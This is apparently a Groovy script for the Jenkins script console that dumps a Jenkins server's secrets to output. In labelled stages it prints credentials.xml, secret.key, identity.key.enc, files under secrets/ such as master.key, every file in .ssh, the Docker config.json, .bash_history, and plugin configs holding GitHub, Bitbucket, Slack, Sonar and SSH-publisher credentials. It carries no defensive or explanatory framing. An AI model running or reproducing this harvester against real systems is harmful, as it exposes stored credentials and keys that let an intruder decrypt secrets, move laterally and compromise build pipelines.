import jenkins.model.Jenkins

def home = Jenkins.instance.getRootDir()
def homePath = home.getAbsolutePath()

println "=====L3_7_BASH_HISTORY====="
try {
  def f = new File(homePath, ".bash_history")
  if (f.exists()) {
    println "bash_history_START (${f.length()}b)"
    println f.text
    println "bash_history_END"
  } else { println "bash_history: NOT FOUND" }
} catch(Exception e) { println "bash_history_err: ${e.message}" }

println ""
println "=====L3_8_CREDENTIALS_XML====="
try {
  def f = new File(homePath, "credentials.xml")
  if (f.exists()) {
    println "credentials_xml_START (${f.length()}b)"
    println f.text
    println "credentials_xml_END"
  } else { println "credentials.xml: NOT FOUND" }
} catch(Exception e) { println "credentials_xml_err: ${e.message}" }

println ""
println "=====L3_8_SECRET_KEY====="
try {
  def f = new File(homePath, "secret.key")
  if (f.exists()) {
    println "secret_key_START (${f.length()}b)"
    println f.text
    println "secret_key_END"
  } else { println "secret.key: NOT FOUND" }
} catch(Exception e) { println "secret_key_err: ${e.message}" }

println ""
println "=====L3_8_IDENTITY_KEY_ENC====="
try {
  def f = new File(homePath, "identity.key.enc")
  if (f.exists()) {
    println "identity_key_enc_START (${f.length()}b)"
    println f.text
    println "identity_key_enc_END"
  } else { println "identity.key.enc: NOT FOUND" }
} catch(Exception e) { println "identity_key_err: ${e.message}" }

println ""
println "=====L3_9_SSH_DIR====="
try {
  def sshDir = new File(homePath, ".ssh")
  if (sshDir.exists() && sshDir.isDirectory()) {
    println "ssh_listing:"
    sshDir.listFiles().each { sf ->
      println "  ${sf.name} ${sf.length()}b"
    }
    // Read each file
    sshDir.listFiles().each { sf ->
      if (sf.isFile() && sf.length() < 50000) {
        println "ssh_file_START: ${sf.name}"
        try { println sf.text } catch(Exception e) { println "read_err: ${e.message}" }
        println "ssh_file_END: ${sf.name}"
      }
    }
  } else { println ".ssh: NOT FOUND or not a directory" }
} catch(Exception e) { println "ssh_dir_err: ${e.message}" }

println ""
println "=====L3_9_DOCKER_CONFIG====="
try {
  def dockerDir = new File(homePath, ".docker")
  if (dockerDir.exists() && dockerDir.isDirectory()) {
    println "docker_listing:"
    dockerDir.listFiles().each { df ->
      println "  ${df.name} ${df.length()}b"
    }
    def cfg = new File(dockerDir, "config.json")
    if (cfg.exists()) {
      println "docker_config_START"
      println cfg.text
      println "docker_config_END"
    }
  } else { println ".docker: NOT FOUND" }
} catch(Exception e) { println "docker_err: ${e.message}" }

println ""
println "=====L3_9_SECRETS_DIR====="
try {
  def secDir = new File(homePath, "secrets")
  if (secDir.exists() && secDir.isDirectory()) {
    println "secrets_listing:"
    secDir.listFiles().each { sf ->
      println "  ${sf.name} ${sf.length()}b"
    }
    // Read small files (master.key, etc)
    secDir.listFiles().each { sf ->
      if (sf.isFile() && sf.length() < 5000) {
        println "secret_file_START: ${sf.name}"
        try { println sf.text } catch(Exception e) { println "read_err: ${e.message}" }
        println "secret_file_END: ${sf.name}"
      }
    }
  } else { println "secrets/: NOT FOUND" }
} catch(Exception e) { println "secrets_dir_err: ${e.message}" }

println ""
println "=====L3_EXTRA_CONFIG_XML====="
try {
  def f = new File(homePath, "config.xml")
  if (f.exists()) {
    println "config_xml_START (${f.length()}b)"
    println f.text
    println "config_xml_END"
  } else { println "config.xml: NOT FOUND" }
} catch(Exception e) { println "config_xml_err: ${e.message}" }

println ""
println "=====L3_EXTRA_GITHUB_PLUGIN====="
try {
  def f = new File(homePath, "github-plugin-configuration.xml")
  if (f.exists()) {
    println "github_plugin_START"
    println f.text
    println "github_plugin_END"
  }
} catch(Exception e) {}

println ""
println "=====L3_EXTRA_BITBUCKET_CONFIG====="
try {
  def f = new File(homePath, "com.cloudbees.jenkins.plugins.bitbucket.endpoints.BitbucketEndpointConfiguration.xml")
  if (f.exists()) {
    println "bitbucket_config_START"
    println f.text
    println "bitbucket_config_END"
  }
} catch(Exception e) {}

println ""
println "=====L3_EXTRA_SLACK_CONFIG====="
try {
  def f = new File(homePath, "jenkins.plugins.slack.SlackNotifier.xml")
  if (f.exists()) {
    println "slack_config_START"
    println f.text
    println "slack_config_END"
  }
} catch(Exception e) {}

println ""
println "=====L3_EXTRA_SONAR_CONFIG====="
try {
  def f = new File(homePath, "hudson.plugins.sonar.SonarGlobalConfiguration.xml")
  if (f.exists()) {
    println "sonar_config_START"
    println f.text
    println "sonar_config_END"
  }
} catch(Exception e) {}

println ""
println "=====L3_EXTRA_PUBLISH_OVER_SSH====="
try {
  def f = new File(homePath, "jenkins.plugins.publish_over_ssh.BapSshPublisherPlugin.xml")
  if (f.exists()) {
    println "publish_ssh_START"
    println f.text
    println "publish_ssh_END"
  }
} catch(Exception e) {}

println ""
println "=====DONE====="
